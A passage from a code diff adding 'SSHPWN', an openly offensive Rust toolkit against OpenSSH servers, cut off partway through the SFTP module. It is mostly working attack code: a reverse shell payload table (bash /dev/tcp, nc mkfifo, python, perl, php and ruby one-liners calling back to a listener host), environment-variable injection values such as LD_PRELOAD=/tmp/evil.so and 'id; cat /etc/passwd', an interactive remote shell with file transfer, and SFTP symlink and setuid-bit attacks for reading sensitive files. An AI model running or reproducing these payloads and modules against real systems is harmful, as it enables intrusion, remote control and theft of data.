println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Environment Variable Injection (do_setup_env) ║".cyan());
|
||||
println!("{}", "║ 2. Command Execution ║".cyan());
|
||||
println!("{}", "║ 3. Interactive Shell ║".cyan());
|
||||
println!("{}", "║ 4. Reverse Shell ║".cyan());
|
||||
println!("{}", "║ 5. File Upload ║".cyan());
|
||||
println!("{}", "║ 6. File Download ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command over SSH
|
||||
fn ssh_exec(sess: &Session, cmd: &str, _timeout: u64) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
// Set non-blocking for timeout handling
|
||||
sess.set_blocking(true);
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// Session Environment Variable Injection
|
||||
///
|
||||
/// Vulnerability: session.c do_setup_env() copies environment variables
|
||||
/// from various sources including GSSAPI and client requests.
|
||||
pub async fn attack_session_env_injection(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
custom_env: Option<HashMap<String, String>>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Session Environment Injection on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
println!("{}", "[*] Testing environment variable acceptance...".cyan());
|
||||
|
||||
// Common attack vectors
|
||||
let env_injection_tests: Vec<(&str, &str)> = vec![
|
||||
("LD_PRELOAD", "/tmp/evil.so"),
|
||||
("LD_LIBRARY_PATH", "/tmp"),
|
||||
("PATH", "/tmp:$PATH"),
|
||||
("BASH_ENV", "/tmp/evil.sh"),
|
||||
("ENV", "/tmp/evil.sh"),
|
||||
("SSH_ORIGINAL_COMMAND", "id; cat /etc/passwd"),
|
||||
("LC_ALL", "$(id)"),
|
||||
("TERM", "$(id)"),
|
||||
];
|
||||
|
||||
let mut custom_tests: Vec<(String, String)> = Vec::new();
|
||||
if let Some(ref env_map) = custom_env {
|
||||
for (k, v) in env_map {
|
||||
custom_tests.push((k.clone(), v.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Check current values
|
||||
for (var, _val) in &env_injection_tests {
|
||||
let cmd = format!("echo ${}", var);
|
||||
match ssh_exec(&sess, &cmd, 10) {
|
||||
Ok((_, stdout, _)) => {
|
||||
println!("{}", format!(" {}: current='{}'", var, stdout.trim()).dimmed());
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing injection vectors...".cyan());
|
||||
|
||||
// These require AcceptEnv to be configured on server
|
||||
println!("{}", "[!] AcceptEnv must allow these variables for injection to work".yellow());
|
||||
println!("{}", "[*] Check server config: grep AcceptEnv /etc/ssh/sshd_config".dimmed());
|
||||
|
||||
// Test common permitted env vars
|
||||
let permitted_test = "env | grep -E '^(LANG|LC_|SSH_)' | head -10";
|
||||
match ssh_exec(&sess, permitted_test, 10) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if !stdout.is_empty() {
|
||||
println!("{}", "[+] Accepted environment variables:".green());
|
||||
println!("{}", stdout);
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
// Test if we can see SSH_ORIGINAL_COMMAND
|
||||
let cmd = "echo SSH_ORIGINAL_COMMAND=$SSH_ORIGINAL_COMMAND";
|
||||
match ssh_exec(&sess, cmd, 10) {
|
||||
Ok((_, stdout, _)) => {
|
||||
println!("{}", format!("[*] SSH_ORIGINAL_COMMAND test: {}", stdout.trim()).cyan());
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Execute command on target
|
||||
pub async fn attack_exec(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
command: &str,
|
||||
timeout: u64,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
match ssh_exec(&sess, command, timeout) {
|
||||
Ok((code, stdout, stderr)) => {
|
||||
println!();
|
||||
println!("{}", format!("[{}] Exit: {}", host, code).cyan());
|
||||
if !stdout.is_empty() {
|
||||
println!("{}", stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
println!("{}", stderr.red());
|
||||
}
|
||||
Ok(code == 0)
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Command execution failed: {}", e).red());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Reverse shell payloads
|
||||
fn get_reverse_shell_payloads() -> HashMap<&'static str, &'static str> {
|
||||
let mut payloads = HashMap::new();
|
||||
payloads.insert("bash", "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1");
|
||||
payloads.insert("bash_alt", "/bin/bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"");
|
||||
payloads.insert("nc", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f");
|
||||
payloads.insert("python", "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
|
||||
payloads.insert("python3", "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
|
||||
payloads.insert("perl", "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'");
|
||||
payloads.insert("php", "php -r '$s=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'");
|
||||
payloads.insert("ruby", "ruby -rsocket -e's=TCPSocket.open(\"{lhost}\",{lport}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",s,s,s)'");
|
||||
payloads
|
||||
}
|
||||
|
||||
/// Send reverse shell payload
|
||||
pub async fn attack_revshell(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
lhost: &str,
|
||||
lport: u16,
|
||||
payload_type: &str,
|
||||
) -> Result<bool> {
|
||||
let payloads = get_reverse_shell_payloads();
|
||||
|
||||
let payload_template = payloads.get(payload_type)
|
||||
.ok_or_else(|| anyhow!("Unknown payload type: {}. Available: {}", payload_type,
|
||||
payloads.keys().cloned().collect::<Vec<_>>().join(", ")))?;
|
||||
|
||||
let cmd = payload_template
|
||||
.replace("{lhost}", lhost)
|
||||
.replace("{lport}", &lport.to_string());
|
||||
|
||||
println!("{}", format!("[*] Payload ({}): ", payload_type).cyan());
|
||||
println!(" {}", cmd);
|
||||
println!();
|
||||
println!("{}", format!("[!] Start listener: nc -lvnp {}", lport).yellow().bold());
|
||||
println!();
|
||||
|
||||
print!("Press Enter to send payload...");
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
|
||||
attack_exec(host, port, username, password, keyfile, &cmd, 5).await
|
||||
}
|
||||
|
||||
/// Upload file via SFTP
|
||||
pub async fn attack_upload(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
local_path: &str,
|
||||
remote_path: &str,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
// Read local file
|
||||
let content = std::fs::read(local_path)
|
||||
.context(format!("Failed to read local file: {}", local_path))?;
|
||||
|
||||
// Write to remote
|
||||
let mut remote_file = sftp.create(Path::new(remote_path))?;
|
||||
remote_file.write_all(&content)?;
|
||||
|
||||
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Download file via SFTP
|
||||
pub async fn attack_download(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
remote_path: &str,
|
||||
local_path: &str,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
// Read from remote
|
||||
let mut remote_file = sftp.open(Path::new(remote_path))?;
|
||||
let mut content = Vec::new();
|
||||
remote_file.read_to_end(&mut content)?;
|
||||
|
||||
// Write to local
|
||||
std::fs::write(local_path, &content)
|
||||
.context(format!("Failed to write local file: {}", local_path))?;
|
||||
|
||||
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Interactive shell - continuous command execution loop
|
||||
pub async fn attack_interactive_shell(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
println!("{}", format!("[PWNED] Interactive shell on {}:{}", host, port).red().bold());
|
||||
println!("{}", "[*] Type 'exit' or 'quit' to disconnect".cyan());
|
||||
println!("{}", "[*] Type '!upload <local> <remote>' to upload files".cyan());
|
||||
println!("{}", "[*] Type '!download <remote> <local>' to download files".cyan());
|
||||
println!();
|
||||
|
||||
// Get initial info
|
||||
if let Ok((_, whoami, _)) = ssh_exec(&sess, "whoami", 5) {
|
||||
if let Ok((_, hostname, _)) = ssh_exec(&sess, "hostname", 5) {
|
||||
println!("{}", format!("[*] Logged in as: {}@{}", whoami.trim(), hostname.trim()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Get initial working directory
|
||||
let mut cwd = String::from("~");
|
||||
if let Ok((_, pwd, _)) = ssh_exec(&sess, "pwd", 5) {
|
||||
cwd = pwd.trim().to_string();
|
||||
}
|
||||
|
||||
loop {
|
||||
// Print prompt
|
||||
print!("{}", format!("{}@{}:{} $ ", username, host, cwd).green());
|
||||
std::io::stdout().flush()?;
|
||||
|
||||
// Read command
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
let cmd = input.trim();
|
||||
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle special commands
|
||||
if cmd == "exit" || cmd == "quit" {
|
||||
println!("{}", "[*] Disconnecting...".cyan());
|
||||
break;
|
||||
}
|
||||
|
||||
// Handle file upload
|
||||
if cmd.starts_with("!upload ") {
|
||||
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
|
||||
if parts.len() == 3 {
|
||||
let local_path = parts[1];
|
||||
let remote_path = parts[2];
|
||||
match sess.sftp() {
|
||||
Ok(sftp) => {
|
||||
match std::fs::read(local_path) {
|
||||
Ok(content) => {
|
||||
match sftp.create(std::path::Path::new(remote_path)) {
|
||||
Ok(mut f) => {
|
||||
if f.write_all(&content).is_ok() {
|
||||
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
|
||||
} else {
|
||||
println!("{}", "[-] Write failed".red());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Create failed: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Read local file failed: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: !upload <local_path> <remote_path>".yellow());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle file download
|
||||
if cmd.starts_with("!download ") {
|
||||
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
|
||||
if parts.len() == 3 {
|
||||
let remote_path = parts[1];
|
||||
let local_path = parts[2];
|
||||
match sess.sftp() {
|
||||
Ok(sftp) => {
|
||||
match sftp.open(std::path::Path::new(remote_path)) {
|
||||
Ok(mut f) => {
|
||||
let mut content = Vec::new();
|
||||
if f.read_to_end(&mut content).is_ok() {
|
||||
if std::fs::write(local_path, &content).is_ok() {
|
||||
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
|
||||
} else {
|
||||
println!("{}", "[-] Write local file failed".red());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[-] Read remote file failed".red());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Open failed: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: !download <remote_path> <local_path>".yellow());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle cd command specially to track cwd
|
||||
if cmd.starts_with("cd ") || cmd == "cd" {
|
||||
let new_dir = if cmd == "cd" { "~" } else { &cmd[3..] };
|
||||
let check_cmd = format!("cd {} && pwd", new_dir);
|
||||
match ssh_exec(&sess, &check_cmd, 10) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 {
|
||||
cwd = stdout.trim().to_string();
|
||||
} else {
|
||||
println!("{}", format!("cd: {}: No such directory", new_dir).red());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Execute regular command (prepend cd to maintain directory context)
|
||||
let full_cmd = format!("cd {} && {}", cwd, cmd);
|
||||
match ssh_exec(&sess, &full_cmd, 60) {
|
||||
Ok((code, stdout, stderr)) => {
|
||||
if !stdout.is_empty() {
|
||||
print!("{}", stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
print!("{}", stderr.red());
|
||||
}
|
||||
if code != 0 && stdout.is_empty() && stderr.is_empty() {
|
||||
println!("{}", format!("Command exited with code: {}", code).yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "[*] Session closed".cyan());
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Environment Variable Injection Test");
|
||||
println!(" 2. Execute Command");
|
||||
println!(" 3. Interactive Shell");
|
||||
println!(" 4. Reverse Shell");
|
||||
println!(" 5. Upload File");
|
||||
println!(" 6. Download File");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "1")?;
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
attack_session_env_injection(&host, port, &username, password_ref, keyfile_ref, None).await?;
|
||||
}
|
||||
"2" => {
|
||||
let command = prompt_default("Command to execute", "id")?;
|
||||
attack_exec(&host, port, &username, password_ref, keyfile_ref, &command, 30).await?;
|
||||
}
|
||||
"3" => {
|
||||
attack_interactive_shell(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"4" => {
|
||||
let lhost = prompt("Listener IP (LHOST)")?;
|
||||
if lhost.is_empty() {
|
||||
return Err(anyhow!("LHOST is required"));
|
||||
}
|
||||
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444")?.parse().unwrap_or(4444);
|
||||
|
||||
println!();
|
||||
println!("{}", "Available payloads:".cyan());
|
||||
let payloads = get_reverse_shell_payloads();
|
||||
for key in payloads.keys() {
|
||||
println!(" - {}", key);
|
||||
}
|
||||
let payload_type = prompt_default("Payload type", "bash")?;
|
||||
|
||||
attack_revshell(&host, port, &username, password_ref, keyfile_ref, &lhost, lport, &payload_type).await?;
|
||||
}
|
||||
"5" => {
|
||||
let local_path = prompt("Local file path")?;
|
||||
let remote_path = prompt("Remote file path")?;
|
||||
attack_upload(&host, port, &username, password_ref, keyfile_ref, &local_path, &remote_path).await?;
|
||||
}
|
||||
"6" => {
|
||||
let remote_path = prompt("Remote file path")?;
|
||||
let local_path = prompt("Local file path")?;
|
||||
attack_download(&host, port, &username, password_ref, keyfile_ref, &remote_path, &local_path).await?;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid mode".red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Session attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,452 @@
|
||||
//! SSHPWN SFTP Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 vulnerability analysis
|
||||
//!
|
||||
//! SFTP-SERVER VULNERABILITIES (sftp-server.c):
|
||||
//! - process_symlink() - Symlink target injection (HIGH)
|
||||
//! - process_setstat() - chmod allows setuid via 07777 mask (HIGH)
|
||||
//! - process_open() - Path traversal (HIGH)
|
||||
//! - process_write() - Partial write atomicity issues
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - SFTP Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH sftp-server.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Symlink Injection (process_symlink) ║".cyan());
|
||||
println!("{}", "║ 2. Setuid Bit Attack (process_setstat 07777) ║".cyan());
|
||||
println!("{}", "║ 3. Path Traversal (process_open) ║".cyan());
|
||||
println!("{}", "║ 4. Partial Write Race (process_write) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// SFTP Symlink Attack - Create symlink to sensitive file
|
||||
///
|
||||
/// Vulnerability: sftp-server.c process_symlink() does not validate symlink target.
|
||||
/// Client can create symlinks pointing anywhere, bypassing chroot restrictions.
|
||||
pub async fn attack_sftp_symlink(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
target_file: &str,
|
||||
link_name: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Symlink Attack on {}", host).cyan());
|
||||
println!("{}", format!("[*] Target file: {}", target_file).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let link_path = link_name
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| format!("/tmp/.symlink_attack_{}", std::process::id()));
|
||||
|
||||
// Create symlink to target (this is the vulnerability)
|
||||
// sftp-server.c:1491: r = symlink(oldpath, newpath);
|
||||
match sftp.symlink(Path::new(target_file), Path::new(&link_path)) {
|
||||
Ok(_) => {
|
||||
println!("{}", format!("[VULN] Created symlink: {} -> {}", link_path, target_file).red().bold());
|
||||
|
||||
// Try to read through symlink
|
||||
match sftp.open(Path::new(&link_path)) {
|
||||
Ok(mut file) => {
|
||||
let mut content = String::new();
|
||||
if file.read_to_string(&mut content).is_ok() {
|
||||
println!("{}", format!("[PWNED] Read {} via symlink:", target_file).red().bold());
|
||||
println!();
|
||||
// Show first 500 chars
|
||||
let preview: String = content.chars().take(500).collect();
|
||||
println!("{}", preview);
|
||||
println!();
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Read failed (may need permissions): {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = sftp.unlink(Path::new(&link_path));
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Symlink attack failed: {}", e).red());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// SFTP chmod Setuid Attack - Set setuid bit on uploaded file
|
||||
///
|
||||
/// Vulnerability: sftp-server.c process_setstat() uses 07777 mask.
|
||||
/// This allows setting setuid(04000), setgid(02000), sticky(01000) bits.
|
||||
pub async fn attack_sftp_setuid(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
target_file: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Setuid Attack on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let test_file = target_file
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| format!("/tmp/setuid_test_{}", std::process::id()));
|
||||
|
||||
// Create test file
|
||||
{
|
||||
let mut file = sftp.create(Path::new(&test_file))?;
|
||||
file.write_all(b"#!/bin/sh\nid\n")?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Created test file: {}", test_file).cyan());
|
||||
|
||||
// Try to set setuid bit (0o4755 = setuid + rwxr-xr-x)
|
||||
// sftp-server.c:1102: r = chmod(name, a.perm & 07777);
|
||||
match sftp.setstat(Path::new(&test_file), ssh2::FileStat {
|
||||
size: None,
|
||||
uid: None,
|
||||
gid: None,
|
||||
perm: Some(0o4755),
|
||||
atime: None,
|
||||
mtime: None,
|
||||
}) {
|
||||
Ok(_) => {
|
||||
// Verify
|
||||
match sftp.stat(Path::new(&test_file)) {
|
||||
Ok(stat) => {
|
||||
if let Some(mode) = stat.perm {
|
||||
let mode_masked = mode & 0o7777;
|
||||
if mode_masked & 0o4000 != 0 {
|
||||
println!("{}", format!("[VULN] Setuid bit set! Mode: {:o}", mode_masked).red().bold());
|
||||
println!("{}", format!("[PWNED] File {} has setuid bit", test_file).red().bold());
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
return Ok(true);
|
||||
} else {
|
||||
println!("{}", format!("[*] Setuid stripped. Mode: {:o}", mode_masked).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Stat failed: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Chmod failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// SFTP Path Traversal - Attempt to access files outside allowed directory
|
||||
pub async fn attack_sftp_traversal(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
target_path: &str,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Path Traversal on {}", host).cyan());
|
||||
|
||||
